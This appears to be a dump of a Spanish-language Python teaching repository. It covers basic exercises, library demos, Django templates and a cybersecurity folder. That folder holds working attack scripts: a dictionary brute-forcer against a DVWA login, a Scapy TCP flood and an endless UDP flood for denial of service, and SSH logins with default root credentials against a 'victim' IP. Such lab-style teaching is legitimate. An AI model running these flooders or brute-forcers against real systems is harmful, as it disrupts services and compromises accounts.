lista.insert(2, "nuevo") #agregar un nuevo elemento en la posicion 2 10 | lista.extend(lista2) #agregar la lista (lista2) en la lista (lista) 11 | lista.pop(1) #elimina esa posicion en la lista 12 | print (lista) 13 | print (lista.count(3)) #ver cuantas veces esta 3 en la lista 14 | lista.reverse() #pone la lista de atras hacia adelante 15 | print (lista) 16 | -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/plantillas/otra.html: -------------------------------------------------------------------------------- 1 | 2 | {% extends "barra.html" %} 3 | 4 | {% block content %} 5 | 6 | 7 |
8 | 9 | ___ 10 | 11 |
12 | 24 | 25 | {% endblock %} 26 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/07_Pubchempy_ejemplo.py: -------------------------------------------------------------------------------- 1 | # Primero se instala pubchempy con el siguiente comando "pip install pubchempy" 2 | import pubchempy 3 | import pubchempy as pcp 4 | 5 | #Ingrese el nombre de el quimico en ingles 6 | nombre_quimico_en = input("Ingrese el nombre del elemento quimico en ingles: ") 7 | 8 | #Se trae la informacion relacionada a ese nombre de ese quimico 9 | componentes_quimicos = pcp.get_compounds(nombre_quimico_en, 'name')[0] 10 | 11 | #Con el siguiente codigo se imprime en pantalla la informacon 12 | print(f"Nombre IUPAC: {componentes_quimicos.iupac_name}") 13 | print(f"Simbolo quimico: {componentes_quimicos.molecular_formula}") 14 | print(f"Nombre comun: {componentes_quimicos.synonyms[0]}") 15 | print(f"El peso molecular: {componentes_quimicos.molecular_weight}") 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/15_Corrector_OrtografiaIngles.py: -------------------------------------------------------------------------------- 1 | # Primero se instala textblob con el siguiente comando "pip install textblob" 2 | # Luego de bajar librerias, las importamos 3 | from textblob import TextBlob 4 | 5 | #Pedimos que ingresen el texto en ingles con errores de ortografia 6 | # ejemplo de texto mal escrito "I havv a guud ideea" 7 | texto_con_errores_ortograficos = input("Por favor ingresen el texto en ingles a corregir: ") 8 | 9 | #Guardamos el texto en una variable 10 | texto_analizado = TextBlob(texto_con_errores_ortograficos) 11 | 12 | # El texto lo corregimos y lo guardamos corregido en una variable 13 | texto_corregido = texto_analizado.correct() 14 | 15 | # Mostramos en pantalla los 2 textos el errado y el corregido 16 | print("Texti escrito : ", texto_analizado) 17 | print("Texto corregido :", texto_corregido) 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/11_CountryInfo_DatosPais.py: -------------------------------------------------------------------------------- 1 | #### 2 | # Primero se instala countryinfo con el siguiente comando "pip install countryinfo" 3 | # Luego de bajar librerias, las importamos 4 | from countryinfo import CountryInfo 5 | 6 | # Se guarda en una variable el nombre de un pais en el idioma ingles 7 | Nombre_Pais = input("Ingrese el nombre de un pais en el idioma ingles: ") 8 | 9 | # luego guardamos la informacion en una variable, despues de consultar el nombre del pais 10 | info_pais = CountryInfo(Nombre_Pais) 11 | 12 | # El siguiente codigos se imprime en pantalla diferentes datos del pais consultado 13 | print("La capital es :", info_pais.capital()) 14 | print("Simbolos de su moneda : ", info_pais.currencies()) 15 | print("El idioma mas usado es : ", info_pais.languages()) 16 | print("Los paises en frontera son : ", info_pais.borders()) 17 | print("Nombre completo : ", info_pais.alt_spellings()) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Fuerza_bruta/01_FuerzaBruta_Contraseñas.py: -------------------------------------------------------------------------------- 1 | # Fuerza bruta a un hash de contraseña 2 | # Primero se instala hashlib con el siguiente comando "pip install hashlib" 3 | import hashlib 4 | 5 | #Ejemplo de hash, en este caso es el sha256 de la contraseña "test" 6 | hash_file = "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08" 7 | 8 | #Se ingresa una palabra que es la posible contraseña 9 | posible_contrase = input("ingrese la palabra a probar : ") 10 | 11 | #Luego convertimos la posible contraseña en un sha256 12 | hash_calculado = hashlib.sha256(posible_contrase.encode()).hexdigest() 13 | 14 | #Comparamos los 2 hash y si son iguales, se muestra un mensaje, si no son iguales sale unra respuesta 15 | if hash_calculado == hash_file: 16 | print("Se encontro la contraseña y es: " + posible_contrase) 17 | else: 18 | print("la contraseña NO es la ingresada ") 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/05_CreacionContraseña.py: -------------------------------------------------------------------------------- 1 | # pip install random 2 | import random 3 | 4 | #En la siguiente linea se ingresa la cantidad de caracteres que va a tener la contraseña 5 | cantidad_caracteres = int(input("Porfavor ingrese la cantidad de caracteres: ")) 6 | 7 | #Se declaran los posibles caracteres que va a tener la contraseña 8 | minuscula = "abcdefghijklmnñopqrstuvwxyz" 9 | mayuscula = "ABCDEFGHIJKLMNÑOPQRSTUVWXYZ" 10 | numeros = "0123456789" 11 | simbolos = "!@#$%&/()=?¡¨*][_:;><]" 12 | 13 | #Se agrupan todos los carecteres posibles en una variable 14 | todos_los_caracteres = minuscula + mayuscula + numeros + simbolos 15 | 16 | #Se crea la contraseña con la posiblidad de obtener todos los caracteres y se le adjunta la cantidad 17 | contraseña = ''.join(random.sample(todos_los_caracteres, cantidad_caracteres)) 18 | 19 | print("La contraseña creada es : " + contraseña) 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/14_Codigo_De_Barras.py: -------------------------------------------------------------------------------- 1 | # Primero se instala wifiqrcode con el siguiente comando "pip install python-barcode" "pip install Ipython" 2 | import barcode 3 | from barcode.writer import ImageWriter 4 | from IPython.display import Image, display 5 | 6 | # Con el siguiente codigo, se guarda la informacion dentro del codigo de barras y el nombre del archivo 7 | contenido = input("Por favor ingrese 12 digitos de la informacion del Codigo de barras: ") 8 | nombre_archivo = "CodigoDeBarras" 9 | 10 | #Se escoge el formato ean13 del barcode 11 | formato_codigo_barras = barcode.get_barcode_class('ean13') 12 | 13 | #Se crea la imagen de codigo de barras y se guarda en una variable 14 | imagen_codigo_barras = formato_codigo_barras(contenido, writer = ImageWriter()) 15 | imagen_codigo_barras.save(nombre_archivo) 16 | 17 | #Se muestra la imagen creada 18 | display(Image(filename = f'{nombre_archivo}.png')) 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/02_cadenas.py: -------------------------------------------------------------------------------- 1 | # Teniendo el hola mundo, como una cadena de texto, se puede imprimir informacion con los siguientes comando 2 | s = "Hola mundo" 3 | 4 | print (len(s)) #Sirve para imprimir la cantidad de caracteres hay en la cadena S 5 | print (s.count("o")) #Sirve para encontrar la cantidad de caracteres O en la cadena s 6 | print (s.count("o",0,5)) #Sirve para encontrar la cantidad de caracteres O en la cadena s desde el caracter 0 al 5 7 | print (s.lower()) #Sirve para poner toda la cadena en minuscula 8 | print (s.upper()) #Sirve para poner toda la cadena en mayuscula 9 | print (s.replace("o", "x")) #Sirve para reemplazar la letra o por la x 10 | print (s.split("o", 1)) #Sirve para cortar la cadena en la letra o , 1 vez 11 | print (s.find("a")) #Sirve para mostrar la posicion donde esta esa variable en la cadena 12 | print (type(s)) #Sirve para mostrar el tipo de caracter que hay -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/10_Turtle_ejemplo_flor.py: -------------------------------------------------------------------------------- 1 | #### 2 | # Primero se instala turtle con el siguiente comando "pip install turtle" 3 | # Luego de bajar librerias, las importamos 4 | import turtle 5 | 6 | # Se crean las variables que muestran el dibujo de la flor 7 | t= turtle.Turtle() 8 | s= turtle.Screen() 9 | s.bgcolor('#474747') 10 | t.pencolor('#ff0000') 11 | t.speed(100) 12 | 13 | # Creamos la variable que tiene los colores que se usaran en la sombraa de la flor 14 | col=('#ff5000','#ff5500','#ff5555','#ff8888') 15 | 16 | # El siguiente grupo de for es la descripcion de el camino que hara el objeto dibujante 17 | # Recorriendo un cuadro de diferentes colores 18 | for n in range(5): 19 | for x in range(8): 20 | t.speed(x+10) 21 | for i in range(2): 22 | t.pensize(2) 23 | t.circle(90+n*20,90) 24 | t.lt(90) 25 | t.lt(45) 26 | t.pencolor(col[n%4]) 27 | s.exitonclick() 28 | 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Escaneos/03_Paramiko_ejemplo.py: -------------------------------------------------------------------------------- 1 | # Primero se instala paramiko con el siguiente comando "pip install paramiko" 2 | import paramiko 3 | 4 | #En las siguientes lineas, se crean las variables necesarias 5 | #Acontinuacion se guarda la ip del dispositivo final de la conexion ssh, el puerto y el usuario y contraseña 6 | host = input("Por favor, la direccion ip de la victima (ej: 192.168.0.10) : ") 7 | # host = "192.168.0.10" 8 | puerto = 22 9 | nombre_usuario = "root" 10 | contraseña = "root" 11 | 12 | comando = "pwd" 13 | 14 | #En el siguiente codigo se ingresa la informacion a la variable ssh para por ultimo ingresar la variable comando cuando ya haya conexion 15 | ssh = paramiko.SSHClient() 16 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 17 | ssh.connect(host, puerto, nombre_usuario, contraseña) 18 | stdia, stdout, stderr = ssh.exec_command(comando) 19 | lines = stdout.readlines() 20 | print(lines) 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/06_PyAutoGUI_ejemplo_2.py: -------------------------------------------------------------------------------- 1 | # Primero se instala PyAutoGUI con el siguiente comando "pip install PyAutoGUI" 2 | import pyautogui 3 | import time 4 | 5 | #Con las 2 funciones siguientes, se mueve el mause hacia una coordenada exacta. 6 | #Con moveTo, el puntero del mause llega rapido y con moverel, se demora su transporte 7 | 8 | #Se realiza una seccion de movimiento ante de entrar al ciclo 9 | pyautogui.moveTo(300,300, duration=5) 10 | pyautogui.press("enter") 11 | pyautogui.moveRel(300,300, duration=5) 12 | time.sleep(5) 13 | 14 | #Se crea el ciclo, donde se realiza el movimiento constante por 15 minutos 15 | ciclo =0 16 | while ciclo <=10: 17 | if ciclo <=10 : 18 | pyautogui.moveTo(300,300, duration=30) 19 | pyautogui.moveRel(300,300, duration=30) 20 | time.sleep(5) 21 | break 22 | print ("Vas en la ejecucion: "+ str(ciclo)) 23 | ciclo = ciclo +1 24 | 25 | #Sale una alerta que dice que ya se acabo el script 26 | pyautogui.alert('Terminamos el script.') 27 | 28 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Ataques_de_intrusion/01_Paramiko_ejemplo_ssh.py: -------------------------------------------------------------------------------- 1 | # Primero se instala paramiko con el siguiente comando "pip install paramiko" 2 | import paramiko 3 | 4 | #En las siguientes lineas, se crean las variables necesarias 5 | #Acontinuacion se guarda la ip del dispositivo final de la conexion ssh, el puerto y el usuario y contraseña 6 | host = input("Por favor, la direccion ip de la victima (ej: 192.168.0.10) : ") 7 | # host = "192.168.0.10" 8 | puerto = 22 9 | nombre_usuario = "root" 10 | contraseña = "root" 11 | 12 | comando = "pwd" 13 | 14 | #En el siguiente codigo se ingresa la informacion a la variable ssh para por ultimo ingresar la variable comando cuando ya haya conexion 15 | ssh = paramiko.SSHClient() 16 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 17 | ssh.connect(host, puerto, nombre_usuario, contraseña) 18 | stdia, stdout, stderr = ssh.exec_command(comando) 19 | lines = stdout.readlines() 20 | print(lines) 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/07_Encriptacion_texto_fernet.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo se muestra como se crea una llave o key para encriptar un texto 2 | # Luego se ingresa un texto y se muestra encriptada la informacion 3 | # pip install cryptography 4 | from cryptography.fernet import Fernet 5 | 6 | # Ingresamos el texto que se va a encriptar 7 | contenido = input("Por favor ingrese la informacion que va a encriptar: ") 8 | mensaje = contenido.encode() 9 | 10 | # Generar una clave, llave o key secreta y aleatoria 11 | clave = Fernet.generate_key() 12 | print(f"Llave generada: {clave}") 13 | 14 | # Se crea un objeto con la clave guardada 15 | fernet = Fernet(clave) 16 | 17 | # Se procede a encriptar el mensaje 18 | mensaje_cifrado = fernet.encrypt(mensaje) 19 | print(f"El mensaje cifrado: {mensaje_cifrado}") 20 | 21 | # El siguiente codigo sirve para descifrar el mensaje 22 | mensaje_descifrado = fernet.decrypt(mensaje_cifrado) 23 | print(f"El mensaje descifrado: {mensaje_descifrado.decode()}") -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/plantillas/barra.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 24 | 25 | {% block content %} 26 | 27 | {% endblock %} 28 | 29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/01_descargar_video_youtube.py: -------------------------------------------------------------------------------- 1 | # Primero se instala pytube con el siguiente comando "pip install pytube" 2 | from pytube import YouTube 3 | 4 | #Los siguientes codigo solicitan la url del video y lo convierte en datos 5 | link = input("Por favor, ingrese la direccion del video en youtube: ") 6 | yt = YouTube(link) 7 | formatos_video= yt.streams.all() 8 | 9 | #La siguiente linea, organiza los tipos de formato del video que se puede descargar 10 | video =list(enumerate(formatos_video)) 11 | 12 | #Este for imprime los tipos de formato de video en los que se puede descargar 13 | for i in video: 14 | print(i) 15 | 16 | #Se pregunta cual de los formatos de descarga va a elegir y lo guarda en la variable option_escogida 17 | print("ingrese la opción deseada para descargar el formato ") 18 | option_escogida = int(input(" La opcion es : ")) 19 | 20 | descargar_video= formatos_video[option_escogida] 21 | descargar_video.download() #Con este comando se descarga el video 22 | 23 | print(" Descarga exitosa") 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/04_Sniffer_Bluetooth_Pyrtlsdr.py: -------------------------------------------------------------------------------- 1 | # En este codigo se muestra un ejemplo de escaner de bluetooth 2 | # y tambien como usar la libreria RtlSdr 3 | # pip install numpy scipy matplotlib sounddevice pyrtlsdr 4 | from rtlsdr import RtlSdr 5 | import numpy as np 6 | import matplotlib.pyplot as plt 7 | 8 | # Configuración del SDR (ejemplo en canal 37 de BLE) 9 | Radio_frecuencia = RtlSdr() 10 | Radio_frecuencia.sample_rate = 2.4e6 11 | Radio_frecuencia.center_freq = 2.402e9 # Canal 37 12 | Radio_frecuencia.gain = 40 13 | 14 | # Captura muestras 15 | Muestra_ejemplo = Radio_frecuencia.read_samples(256*1024) 16 | Radio_frecuencia.close() 17 | 18 | # Visualiza espectro 19 | fft = np.fft.fftshift(np.fft.fft(Muestra_ejemplo)) 20 | psd = 20 * np.log10(np.abs(fft)) 21 | freqs = np.linspace(-Radio_frecuencia.sample_rate/2, Radio_frecuencia.sample_rate/2, len(psd)) / 1e6 22 | 23 | plt.plot(freqs, psd) 24 | plt.title("BLE Spectrogram (Canal 37)") 25 | plt.xlabel("Frecuencia (MHz)") 26 | plt.ylabel("Potencia (dB)") 27 | plt.grid(True) 28 | plt.show() -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/01_Yara_Caracteres_En_Archivo.py: -------------------------------------------------------------------------------- 1 | # En este software se muestra un ejemplo de analisis forense estatico 2 | # Con la libreria yara se analiza un .txt en busqueda de palabras claves 3 | # En este archivo hay un "Hola Mundo" 4 | # pip install pefile 5 | 6 | import yara 7 | 8 | # Definir una regla YARA 9 | regla = """ 10 | rule DetectaHolaMundo 11 | { 12 | strings: 13 | $cadena1 = "Hola Mundo" 14 | condition: 15 | $cadena1 16 | } 17 | 18 | rule DetectaPalabraArchivo 19 | { 20 | strings: 21 | $cadena2 = "archivo" 22 | condition: 23 | $cadena2 24 | } 25 | """ 26 | 27 | # Compilar la regla 28 | reglas = yara.compile(source=regla) 29 | 30 | # Crear un archivo de prueba 31 | with open("archivo_prueba.txt", "w", encoding="utf-8") as f: 32 | f.write("Este Archivo con A mayuscula dice : Hola Mundo") 33 | 34 | # Aplicar la regla al archivo 35 | matches = reglas.match("archivo_prueba.txt") 36 | 37 | # Ver coincidencias 38 | for match in matches: 39 | print(f"Regla que se encontro en el archivo : {match.rule}") -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Relacionado_a_IP/04_Mostrar_geolocalizacion_ip.py: -------------------------------------------------------------------------------- 1 | # Primero se instala requests con el siguiente comando "pip install requests" 2 | #Primero se instala json con el siguiente comando "pip install json" 3 | import requests 4 | import json 5 | 6 | # URL de la API 7 | api_url = "http://ip-api.com/json/" 8 | 9 | # Definimos los parametros de respuesta que queremos obtener 10 | parametros = 'status,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,query' 11 | data = {"fields":parametros} 12 | 13 | def ubicaciongeoip (ip=""): 14 | # Nos conectamos con la API 15 | res = requests.get(api_url+ip, data=data) 16 | # Obtenemos y procesamos la respuesta JSON 17 | api_json_res = json.loads(res.content) 18 | return api_json_res 19 | 20 | if __name__ == '__main__': 21 | # Solicitamos la entrada 22 | ip = input("Ingrese la dirección IP: ") 23 | 24 | # Llamamos a la función ubicaciongeoip y mostramos los resultados 25 | par = parametros.split(",") 26 | for x in par: 27 | print(x.upper(), ":") 28 | print(ubicaciongeoip(ip)[x]) 29 | print("n") 30 | 31 | -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/urls.py: -------------------------------------------------------------------------------- 1 | """proyecto1 URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/2.1/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | from django.contrib import admin 17 | from django.urls import path,include,re_path 18 | 19 | from proyecto1.views import saludo 20 | from proyecto1.views import html, otra, conestilos 21 | 22 | urlpatterns = [ 23 | path('admin/', admin.site.urls), 24 | path('saludo/', saludo), 25 | path('html/', html), 26 | path('otra/', otra), 27 | path('conestilos/', conestilos), 28 | 29 | ] 30 | 31 | 32 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Relacionado_a_IP/07_Prueba_Velocidad_Internet.py: -------------------------------------------------------------------------------- 1 | # Primero se instala speedtest con el siguiente comando "pip install speedtest-cli" 2 | import speedtest as st 3 | 4 | #En la funcion llamada prueba de velocidad esta toda la logica del programa 5 | def prueba_de_velocidad(): 6 | prueba = st.Speedtest() 7 | 8 | #Con el siguiente bloque de codigo, se una la opcion dowload de la libreria para ver la velocidad de bajada 9 | velocidad_bajada = prueba.download() 10 | velocidad_bajada = round(velocidad_bajada / 10**6, 2) 11 | print("Velocidad de bajada en Mbps: ", velocidad_bajada) 12 | 13 | #Con el siguiente bloque de codigo, se una la opcion upload de la libreria para ver la velocidad de subida 14 | velocidad_subida = prueba.upload() 15 | velocidad_subida = round(velocidad_subida / 10**6, 2) 16 | print("Velocidad en subida en Mbps: ", velocidad_subida) 17 | 18 | #Por ultimo se muestra el ping de la comunicacion a internet 19 | ping = prueba.results.ping 20 | print("El pign actual es : ", ping) 21 | prueba_de_velocidad() 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Fuerza_bruta/03_FuerzaBruta_Diccionario_EJ_2.py: -------------------------------------------------------------------------------- 1 | # Ejemplo de como crear un software de fuerza bruta con diccionario 2 | # Primero importamos las librerias 3 | # pip install requests 4 | # pip install termcolor 5 | 6 | import sys 7 | import requests 8 | from termcolor import colored, cprint 9 | cookie = {"PHPSESSID": "qk9e71ier8vi62jumounl7jidf", 10 | "security":"low"} 11 | 12 | def file_read(file): 13 | with open(file,mode='r',encoding='utf-8') as file_text: 14 | return file_text.read() 15 | 16 | usuario = file_read("usuario.txt").split("\n") 17 | contraseña = file_read("contraseña.txt").split("\n") 18 | 19 | 20 | for i in usuario: 21 | for j in contraseña: 22 | url = f"http://192.168.1.142/dvwa/vulnerabilities/brute/?username={i}&contraseña={j}&Login=Login#" 23 | response = requests.get(url,cookies=cookie) 24 | 25 | if not "Username and/or contraseña incorrect." in response.text: 26 | cprint(f"[+] {i}:{j} es valido", "green", attrs=["bold"], file=sys.stderr) 27 | else: 28 | cprint(f"[-] {i}:{j} no es valido", "red", attrs=["bold"], file=sys.stderr) 29 | 30 | 31 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/16_Dashboard_dash.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un ejemplo de un dashboard 2 | # en este tablero se muestra informacion relacionada a la vida y el pib de un pais 3 | # Primero se instala dash con el siguiente comando "pip install dash" 4 | import dash 5 | from dash import html, dcc 6 | import plotly.express as px 7 | import pandas as pd 8 | 9 | # Crear la aplicación Dash 10 | app = dash.Dash(__name__) 11 | 12 | # Cargar datos de ejemplo 13 | df = px.data.gapminder().query("year == 2007") 14 | 15 | # Crear un gráfico interactivo 16 | figura = px.scatter( 17 | df, 18 | x="gdpPercap", 19 | y="lifeExp", 20 | size="pop", 21 | color="continent", 22 | hover_name="country", 23 | log_x=True, 24 | size_max=60, 25 | title="Esperanza de vida vs PIB per cápita (2007)" 26 | ) 27 | 28 | # Definir el layout del dashboard 29 | app.layout = html.Div([ 30 | html.H1("Dashboard en Python con Dash", style={"textAlign": "center"}), 31 | html.P("Visualización de datos del mundo - Gapminder", style={"textAlign": "center"}), 32 | dcc.Graph(id="grafico", figure=figura) 33 | ]) 34 | 35 | # Iniciar el servidor 36 | if __name__ == '__main__': 37 | app.run(debug=True) -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/13_Numpy_Matplot_ejemplo.py: -------------------------------------------------------------------------------- 1 | # Primero se instala numpy con el siguiente comando "pip install numpy" 2 | # Primero se instala matplotlib con el siguiente comando "pip install matplotlib" 3 | # Primero se instala mpl_toolkits con el siguiente comando "pip install mpl_toolkits" 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | import mpl_toolkits.mplot3d as Axes3D 7 | 8 | #En las siguientes lineas, se especifica los rangos de informacion en cada eje de la grafica 9 | x = np.linspace(-5, 5, 1000) 10 | y = np.linspace(-5, 5, 1000) 11 | x, y = np.meshgrid(x,y) 12 | z= np.exp(-0.5 * (x**2 + y**2)) * 10 13 | 14 | #En los siguientes codigos se crea la figura dentro del plano carteciano 15 | fig = plt.figure(figsize = (10,8)) 16 | ax = fig.add_subplot(111, projection = '3d') 17 | surf = ax.plot_surface(x,y,z, cmap='terrain', edgecolor= 'none') 18 | fig.colorbar(surf, ax=ax, shrink=0.5, aspect=5) 19 | 20 | #Se le ponen nombre a las dimensiones de el plano carteciano 3d 21 | ax.set_title("Simulacion relieve de una montaña sintetica") 22 | ax.set_xlabel("Eje X") 23 | ax.set_ylabel("Eje Y") 24 | ax.set_zlabel("Elevacion Z") 25 | plt.show() 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Escaneos/08_Psutil_Detectar_Usb.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se crea un detectador de USB 2 | # Usando la libreria Psutil 3 | # pip install pywin32 psutil 4 | import psutil 5 | import time 6 | import subprocess 7 | 8 | # Con esta funcion se logran inicializar la libreria psulti y darle las caracteristicas 9 | def get_usb_drives(): 10 | drives = [] 11 | partitions = psutil.disk_partitions(all=False) 12 | for p in partitions: 13 | if 'removable' in p.opts or 'cdrom' in p.opts: 14 | drives.append(p.device) 15 | return set(drives) 16 | 17 | print("Monitoreando conexiones USB...") 18 | previous = get_usb_drives() 19 | 20 | # Se deja escuchando los puertos usb y se crea un while 21 | # Con el fin de que se ejecute cada que ingrese una usb a los puertos 22 | while True: 23 | time.sleep(2) 24 | current = get_usb_drives() 25 | new_devices = current - previous 26 | 27 | if new_devices: 28 | for device in new_devices: 29 | print(f"Nueva USB detectada: {device}") 30 | # Aquí puedes ejecutar cualquier script o acción 31 | #subprocess.run(["python", "tu_script.py"]) # Cambia por tu ruta 32 | previous = current 33 | 34 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Ataques_de_intrusion/03_Scapy_DenegacionDeServiciosDOS.py: -------------------------------------------------------------------------------- 1 | # En esta aplicacion se hara un software de denegacion de servicio con la libreria scapy de python 2 | # Primero se instala scapy con el siguiente comando "pip install scapy" 3 | from scapy.all import * 4 | from scapy.layers.inet import IP 5 | from scapy.layers.inet import TCP 6 | 7 | # Se solicita los datos de la victima 8 | Ip_origen = input("Por favor ingrese la IP Origen: ") 9 | Ip_destino = input("Por favor ingrese la IP Destino: ") 10 | puerto = int(input("Por favor ingrese el puerto de origen: ")) 11 | 12 | # Se crea el indice del contador del while y se pide la cantidad de paquetes que se envian 13 | i = 1 14 | paquetes = int(input("Por favor ingresen cuantos paquetes va a enviar: ")) 15 | 16 | # Se crea el while que automatiza el envio de paquetes a la ip de la victima por el puerto de la victima 17 | while i <= paquetes: 18 | IP_info = IP(src=Ip_origen, dst=Ip_destino) 19 | TCP_info = TCP(sport=puerto, dport=80) 20 | Pqte = IP_info / TCP_info 21 | send(Pqte, inter=.001) 22 | print("Enviado [", paquetes, "] Paquetes") 23 | i+=1 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/plantillas/miplantilla.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Document 9 | 10 | 11 | 12 | {% extends "barra.html" %} 13 | 14 | {% block content %} 15 | 16 |

hola alumnos como estan? {{nombre}} {{apellido}}

17 | 18 |

{{temas}}

19 |

Por numero en la lista

20 |

{{temas.0}}

21 |

{{temas.1}}

22 |

{{temas.2}}

23 | 24 |

Recorre una lista con un for

25 |

26 | {% for untema in temas %} 27 |

{{ untema }}

28 | {% endfor %} 29 | 30 | 31 | 32 |

Si hay informacion, recorre el for, si no muestra mensaje

33 | {% if otrostemas %} 34 |

35 | {% for untema in temas %} 36 |

{{ untema }}

37 | {% endfor %} 38 | 39 | {% else %} 40 |

No hay informacion

41 | {% endif %} 42 | 43 | 44 | 45 | 46 | {% endblock %} 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Ataques_de_intrusion/04_Socket_DenegacionDeServiciosDOS.py: -------------------------------------------------------------------------------- 1 | # Esta aplicacion para denegar servicios se utilizo el lenguaje python y la libreria socket 2 | # Primero se instala socket con el siguiente comando "pip install socket" 3 | import socket 4 | import random 5 | 6 | # Se solicita la informacion de la victima para ejecutar el ataque y esto se guarda en variables 7 | ip_victima = input("Por favor, indique la IP de la victima: ") 8 | puerto_victima = int(input("Por favor, Ingrese el puerto victima: ")) 9 | 10 | socket_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 11 | dato_aleatorios = random._urandom(1490) 12 | 13 | # Se crea el while que ejecutara el envio de paquetes automaticamente 14 | # Usando sendto para enviar los paquetes y al final del envio imprimiendo en patalla la cantidad de paquetes y el puerto 15 | paquetes_enviados = 0 16 | while True: 17 | socket_udp.sendto(dato_aleatorios, (ip_victima, puerto_victima)) 18 | paquetes_enviados += 1 19 | puerto_victima += 1 20 | print(f"Enviados {paquetes_enviados} paquetes a {ip_victima} a través del puerto: {puerto_victima}") 21 | if puerto_victima == 65534: 22 | puerto_victima = 1 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/02_Pdf_crea_audiolibro.py: -------------------------------------------------------------------------------- 1 | # Primero se instala PyPDF3, pyttsx3 y pdfplumber con el siguiente comando "pip install PyPDF3" , "pip install pyttsx3" , "pip install pdfplumber" 2 | import PyPDF3 3 | import pyttsx3 4 | import pdfplumber 5 | 6 | #Guardamos el nombre del pdf 7 | nombre_pdf = 'pdf.pdf' 8 | #El nombre del pdf mas rb que es para windows 9 | book = open(nombre_pdf, 'rb') 10 | #solicitamos leer ese documento 11 | pdfReader = PyPDF3.PdfFileReader(book) 12 | #implementamos el numpages y declaramos la variable del texto final 13 | pages = pdfReader.numPages 14 | finalText = "" 15 | 16 | #se usa la libreria pdfplumber para abrir el pdf con el nombre ya guardado anteriormente 17 | with pdfplumber.open(nombre_pdf) as pdf: 18 | #se ejecuta el for que recorre las paginas del pdf almacenando su contenido en una variable llamada finalText 19 | for i in range(0, pages): 20 | page = pdf.pages[i] 21 | text = page.extract_text() 22 | finalText += text 23 | 24 | #Se inicia la libreria pyttsx3 y luego se guardar el audio luego de recibir el texto final en una variable 25 | # y el nombre del audio 26 | engine = pyttsx3.init() 27 | engine.save_to_file(finalText, 'mp3.mp3') 28 | engine.runAndWait() 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Escaneos/04_Scapy_PING_IP.py: -------------------------------------------------------------------------------- 1 | from scapy.all import IP, ICMP, sr1 2 | import time 3 | 4 | # Se crea la funcion que realiza el ping a una destino ip 5 | # De las variables que tiene, se le habilita una de ip destino 6 | def PingAUnaIp(Ip_destino, count=4, timeout=2): 7 | # Se crea un for que recorre las veces que le indiquemos en el count 8 | for i in range(count): 9 | # Usamos las funciones de IP e ICMP para guardar su respuesta en paquete 10 | Paquete = IP(dst=Ip_destino) / ICMP() 11 